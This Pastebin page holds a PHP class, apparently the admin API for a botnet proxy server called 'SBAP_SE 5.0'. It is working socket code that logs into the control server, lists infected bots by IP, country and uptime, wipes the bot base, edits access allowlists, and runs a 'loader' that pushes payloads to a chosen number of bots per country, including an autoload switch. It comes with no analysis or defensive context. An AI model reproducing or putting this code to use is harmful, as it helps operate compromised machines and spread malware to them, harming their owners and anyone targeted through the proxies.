Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- // SBAP_SE 5.0 API class
- // function Close - closing of connection with a server
- // function Connect - connect to server
- // function Reboot - send reboot cmd to server
- // function ClearBase - clear bot base
- // function Auth - check pass
- // function GetList - get proxy list
- // function GetInfo - get system info
- // function GetConfig - get system config
- // function SetConfig - set system config
- define('SIGNATURE', 0xFA02);
- define('HEADER_SIZE', 42);
- define('MAX_IP_FOR_CLIENT', 100);
- define('ADMIN_CMD_AUTH', 0);
- define('ADMIN_CMD_GET_LIST', 1);
- define('ADMIN_CMD_GET_INFO', 2);
- define('ADMIN_CMD_GET_CONFIG', 3);
- define('ADMIN_CMD_SET_CONFIG', 4);
- define('ADMIN_CMD_REBOOT', 5);
- define('ADMIN_CMD_CLEAT_BASE', 6);
- define('ADMIN_CMD_LOADER_GET', 7);
- define('ADMIN_CMD_LOADER_SET', 8);
- define('ADMIN_CMD_LOADER_RELOAD', 9);
- define('ADMIN_CMD_LOADER_AUTOLOAD', 10);
- define('ADMIN_CMD_IP_CHANGE', 11);
- define('OUT_ADMIN_CMD_AUTH_ERROR', 1);
- define('OUT_ADMIN_CMD_CMD_ERROR', 2);
- define('OUT_ADMIN_CMD_PARAM_ERROR', 3);
- define('OUT_ADMIN_CMD_OK', 4);
- define('OUT_ADMIN_CMD_CONNECT_ERROR', 5);
- define('OUT_ADMIN_CMD_STATUS_ERROR', 6);
- class SBAP_SE_5_0_API
- {
- var $socket;
- var $pass;
- var $connected = false;
- var $ServerIp;
- function ReadSocket($len)
- {
- $out = '';
- $rb = 0;
- do
- {
- $tmp = socket_read($this->socket, $len - $rb, PHP_BINARY_READ);
- if ($tmp == FALSE) break;
- $out .= $tmp;
- $rb = strlen($out);
- } while ($rb < $len);
- return $out;
- }
- function ErrorCodeToMsg($code)
- {
- switch ($code)
- {
- case OUT_ADMIN_CMD_AUTH_ERROR:
- return 'Password incorrect';
- case OUT_ADMIN_CMD_CMD_ERROR:
- return 'CMD Error';
- case OUT_ADMIN_CMD_PARAM_ERROR:
- return 'Param Error';
- case OUT_ADMIN_CMD_OK:
- return 'OK';
- case OUT_ADMIN_CMD_CONNECT_ERROR:
- return 'Connect to server error';
- default: return 'Internal Error. Code: '.$code;
- }
- }
- function BuildHeader($cmd, $len)
- {
- $out = pack('SSCN', SIGNATURE, $len, $cmd, ip2long($_SERVER['REMOTE_ADDR']));
- $out .= $this->pass;
- $out .= str_repeat(chr(0), (33 - strlen($this->pass)));
- return $out;
- }
- function Connect($host, $port, $pass)
- {
- $pass = md5($pass);
- $this->ServerIp = $host;
- $this->socket = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
- if ($this->socket)
- {
- if (!@socket_connect($this->socket, $host, $port))
- {
- @socket_close($this->socket);
- $this->connected = false;
- }
- else
- {
- $this->connected = true;
- $this->pass = $pass;
- return true;
- }
- }
- return false;
- }
- function Close()
- {
- if ($this->connected)
- {
- @socket_close($this->socket);
- $this->connected = false;
- $this->pass = false; // security hihi ))
- }
- }
- function Reboot()
- {
- if ($this->connected)
- {
- $out = $this->BuildHeader(ADMIN_CMD_REBOOT, HEADER_SIZE);
- @socket_write($this->socket, $out, strlen($out));
- $out = @socket_read($this->socket, 3, PHP_BINARY_READ);
- return ord($out[2]);
- }
- else
- {
- return OUT_ADMIN_CMD_CONNECT_ERROR;
- }
- }
- function ClearBase()
- {
- if ($this->connected)
- {
- $out = $this->BuildHeader(ADMIN_CMD_CLEAT_BASE, HEADER_SIZE);
- @socket_write($this->socket, $out, strlen($out));
- $out = @socket_read($this->socket, 3, PHP_BINARY_READ);
- return ord($out[2]);
- }
- else
- {
- return OUT_ADMIN_CMD_CONNECT_ERROR;
- }
- }
- function GetList()
- {
- if ($this->connected)
- {
- $out = $this->BuildHeader(ADMIN_CMD_GET_LIST, HEADER_SIZE);
- @socket_write($this->socket, $out, strlen($out));
- $out = @socket_read($this->socket, 3, PHP_BINARY_READ);
- if (ord($out[2]) == OUT_ADMIN_CMD_OK)
- {
- $out = @socket_read($this->socket, 4, PHP_BINARY_READ);
- if ($out)
- {
- $x = 0;
- $info = array();
- $info['ip'] = $this->ServerIp;
- $info['cnt'] = 0;
- while ($out = $this->ReadSocket(12))
- {
- $info['port'][$x] = ord($out[0]) + (ord($out[1]) << 8);
- $info['group'][$x] = ord($out[2]);
- $info['country'][$x] = ord($out[3]);
- $info['uptime'][$x] = ord($out[4]) + (ord($out[5]) << 8) + (ord($out[6]) << 16)+ (ord($out[7]) << 24);
- $info['botip'][$x] = long2ip(ord($out[11]) + (ord($out[10]) << 8) + (ord($out[9]) << 16)+ (ord($out[8]) << 24));
- $x++;
- }
- $info['cnt'] = $x;
- return $info;
- }
- else
- {
- return OUT_ADMIN_CMD_STATUS_ERROR;
- }
- }
- else
- {
- return ord($out[2]);
- }
- }
- else
- {
- return OUT_ADMIN_CMD_CONNECT_ERROR;
- }
- }
- function Auth()
- {
- if ($this->connected)
- {
- $out = $this->BuildHeader(ADMIN_CMD_AUTH, HEADER_SIZE);
- @socket_write($this->socket, $out, strlen($out));
- $out = @socket_read($this->socket, 3, PHP_BINARY_READ);
- return ord($out[2]);
- }
- else
- {
- return OUT_ADMIN_CMD_CONNECT_ERROR;
- }
- }
- function CorrInt64($s)
- {
- $s = trim($s);
- $out = '';
- $len = strlen($s)-1;
- for ($x = $len, $y = 1; $x >= 0; $x--, $y++)
- {
- $out = $s[$x] . $out;
- if ($y % 3 == 0 && $y <= $len)
- {
- $out = '.' . $out;
- }
- }
- return $out;
- }
- function GetInfo()
- {
- if ($this->connected)
- {
- $out = $this->BuildHeader(ADMIN_CMD_GET_INFO, HEADER_SIZE);
- @socket_write($this->socket, $out, strlen($out));
- $out = @socket_read($this->socket, 3, PHP_BINARY_READ);
- if (ord($out[2]) == OUT_ADMIN_CMD_OK)
- {
- $info = array();
- $info['incoming'] = $this->CorrInt64($this->ReadSocket(20));
- $info['outcoming'] = $this->CorrInt64($this->ReadSocket(20));
- $out = @socket_read($this->socket, 4, PHP_BINARY_READ);
- $info['portmap_use'] = ord($out[0]) + (ord($out[1]) << 8) + (ord($out[2]) << 16)+ (ord($out[3]) << 24);
- $out = @socket_read($this->socket, 4, PHP_BINARY_READ);
- $info['portmap_work'] = ord($out[0]) + (ord($out[1]) << 8) + (ord($out[2]) << 16)+ (ord($out[3]) << 24);
- $out = @socket_read($this->socket, 4, PHP_BINARY_READ);
- $info['portmap_wait'] = ord($out[0]) + (ord($out[1]) << 8) + (ord($out[2]) << 16)+ (ord($out[3]) << 24);
- $out = @socket_read($this->socket, 4, PHP_BINARY_READ);
- $info['bot_cnt'] = ord($out[0]) + (ord($out[1]) << 8) + (ord($out[2]) << 16)+ (ord($out[3]) << 24);
- $out = @socket_read($this->socket, 4, PHP_BINARY_READ);
- $info['bot_dc_err'] = ord($out[0]) + (ord($out[1]) << 8) + (ord($out[2]) << 16)+ (ord($out[3]) << 24);
- $out = @socket_read($this->socket, 4, PHP_BINARY_READ);
- $info['bot_dc_ok'] = ord($out[0]) + (ord($out[1]) << 8) + (ord($out[2]) << 16)+ (ord($out[3]) << 24);
- $out = @socket_read($this->socket, 4, PHP_BINARY_READ);
- $info['bot_dc_real'] = ord($out[0]) + (ord($out[1]) << 8) + (ord($out[2]) << 16)+ (ord($out[3]) << 24);
- $out = @socket_read($this->socket, 4, PHP_BINARY_READ);
- $info['client_connect'] = ord($out[0]) + (ord($out[1]) << 8) + (ord($out[2]) << 16)+ (ord($out[3]) << 24);
- $info['country'] = array();
- $info['country_online'] = array();
- $info['group'] = array();
- $info['group_online'] = array();
- for ($x = 0; $x < 256; $x++)
- {
- $out = @socket_read($this->socket, 4, PHP_BINARY_READ);
- $info['country'][$x] = ord($out[0]) + (ord($out[1]) << 8) + (ord($out[2]) << 16)+ (ord($out[3]) << 24);
- }
- for ($x = 0; $x < 256; $x++)
- {
- $out = @socket_read($this->socket, 4, PHP_BINARY_READ);
- $info['country_online'][$x] = ord($out[0]) + (ord($out[1]) << 8) + (ord($out[2]) << 16)+ (ord($out[3]) << 24);
- }
- for ($x = 0; $x < 256; $x++)
- {
- $out = @socket_read($this->socket, 4, PHP_BINARY_READ);
- $info['group'][$x] = ord($out[0]) + (ord($out[1]) << 8) + (ord($out[2]) << 16)+ (ord($out[3]) << 24);
- }
- for ($x = 0; $x < 256; $x++)
- {
- $out = @socket_read($this->socket, 4, PHP_BINARY_READ);
- $info['group_online'][$x] = ord($out[0]) + (ord($out[1]) << 8) + (ord($out[2]) << 16)+ (ord($out[3]) << 24);
- }
- return $info;
- }
- else
- {
- return ord($out[2]);
- }
- }
- else
- {
- return OUT_ADMIN_CMD_CONNECT_ERROR;
- }
- }
- function GetConfig()
- {
- if ($this->connected)
- {
- $out = $this->BuildHeader(ADMIN_CMD_GET_CONFIG, HEADER_SIZE);
- @socket_write($this->socket, $out, strlen($out));
- $out = @socket_read($this->socket, 3, PHP_BINARY_READ);
- if (ord($out[2]) == OUT_ADMIN_CMD_OK)
- {
- $info = array();
- $out = $this->ReadSocket(2 + 4 * MAX_IP_FOR_CLIENT);
- if ($out)
- {
- $info['la'] = ord($out[0]);
- $info['pa'] = ord($out[1]);
- for ($x = 0; $x < MAX_IP_FOR_CLIENT; $x++)
- {
- $z = 2 + $x * 4;
- $info['ip'][$x] = long2ip(ord($out[$z+3]) + (ord($out[$z+2]) << 8) + (ord($out[$z+1]) << 16)+ (ord($out[$z]) << 24));
- }
- }
- return $info;
- }
- else
- {
- return ord($out[2]);
- }
- }
- else
- {
- return OUT_ADMIN_CMD_CONNECT_ERROR;
- }
- }
- function SetConfig($ListAccess, $ProxyAccess, $Pass, $IpList)
- {
- if ($this->connected)
- {
- $out = $this->BuildHeader(ADMIN_CMD_SET_CONFIG, HEADER_SIZE + 2 + 33 + 4 * MAX_IP_FOR_CLIENT);
- $out .= chr($ListAccess) . chr($ProxyAccess);
- for ($x = 0; $x < MAX_IP_FOR_CLIENT; $x++)
- {
- $out .= pack('N', ip2long($IpList[$x]));
- }
- $out .= md5($Pass);
- $out .= str_repeat(chr(0), (33 - strlen($Pass)));
- @socket_write($this->socket, $out, strlen($out));
- $out = @socket_read($this->socket, 3, PHP_BINARY_READ);
- return ord($out[2]);
- }
- else
- {
- return OUT_ADMIN_CMD_CONNECT_ERROR;
- }
- }
- function GetLoaderInfo()
- {
- if ($this->connected)
- {
- $out = $this->BuildHeader(ADMIN_CMD_LOADER_GET, HEADER_SIZE);
- @socket_write($this->socket, $out, strlen($out));
- $out = @socket_read($this->socket, 3, PHP_BINARY_READ);
- if (ord($out[2]) == OUT_ADMIN_CMD_OK)
- {
- $info = array();
- $out = $this->ReadSocket(4);
- $info['cmd_send'] = ord($out[0]) + (ord($out[1]) << 8) + (ord($out[2]) << 16)+ (ord($out[3]) << 24);
- $out = $this->ReadSocket(4);
- $info['cmd_ok'] = ord($out[0]) + (ord($out[1]) << 8) + (ord($out[2]) << 16)+ (ord($out[3]) << 24);
- $out = $this->ReadSocket(4);
- $info['cmd_err'] = ord($out[0]) + (ord($out[1]) << 8) + (ord($out[2]) << 16)+ (ord($out[3]) << 24);
- $out = $this->ReadSocket(4);
- $info['file_size'] = ord($out[0]) + (ord($out[1]) << 8) + (ord($out[2]) << 16)+ (ord($out[3]) << 24);
- $out = $this->ReadSocket(1);
- $info['autoload'] = ord($out[0]);
- return $info;
- }
- else
- {
- return ord($out[2]);
- }
- }
- else
- {
- return OUT_ADMIN_CMD_CONNECT_ERROR;
- }
- }
- function GetLoaderReload()
- {
- if ($this->connected)
- {
- $out = $this->BuildHeader(ADMIN_CMD_LOADER_RELOAD, HEADER_SIZE);
- @socket_write($this->socket, $out, strlen($out));
- $out = @socket_read($this->socket, 3, PHP_BINARY_READ);
- return ord($out[2]);
- }
- else
- {
- return OUT_ADMIN_CMD_CONNECT_ERROR;
- }
- }
- function LoaderRun($type, $count, $country)
- {
- if ($this->connected)
- {
- $out = $this->BuildHeader(ADMIN_CMD_LOADER_SET, HEADER_SIZE + 6);
- $out .= chr($type).chr($country).pack('N', $count);
- @socket_write($this->socket, $out, strlen($out));
- $out = @socket_read($this->socket, 3, PHP_BINARY_READ);
- return ord($out[2]);
- }
- else
- {
- return OUT_ADMIN_CMD_CONNECT_ERROR;
- }
- }
- function SetLoaderAuto($state)
- {
- if ($this->connected)
- {
- $out = $this->BuildHeader(ADMIN_CMD_LOADER_AUTOLOAD, HEADER_SIZE + 1);
- $out .= chr($state);
- @socket_write($this->socket, $out, strlen($out));
- $out = @socket_read($this->socket, 3, PHP_BINARY_READ);
- return ord($out[2]);
- }
- else
- {
- return OUT_ADMIN_CMD_CONNECT_ERROR;
- }
- }
- function IpChange($flag, $ip)
- {
- if ($this->connected)
- {
- $out = $this->BuildHeader(ADMIN_CMD_IP_CHANGE, HEADER_SIZE + 5);
- $out .= chr($flag).pack('N', ip2long($ip));
- @socket_write($this->socket, $out, strlen($out));
- $out = @socket_read($this->socket, 3, PHP_BINARY_READ);
- return ord($out[2]);
- }
- else
- {
- return OUT_ADMIN_CMD_CONNECT_ERROR;
- }
- }
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement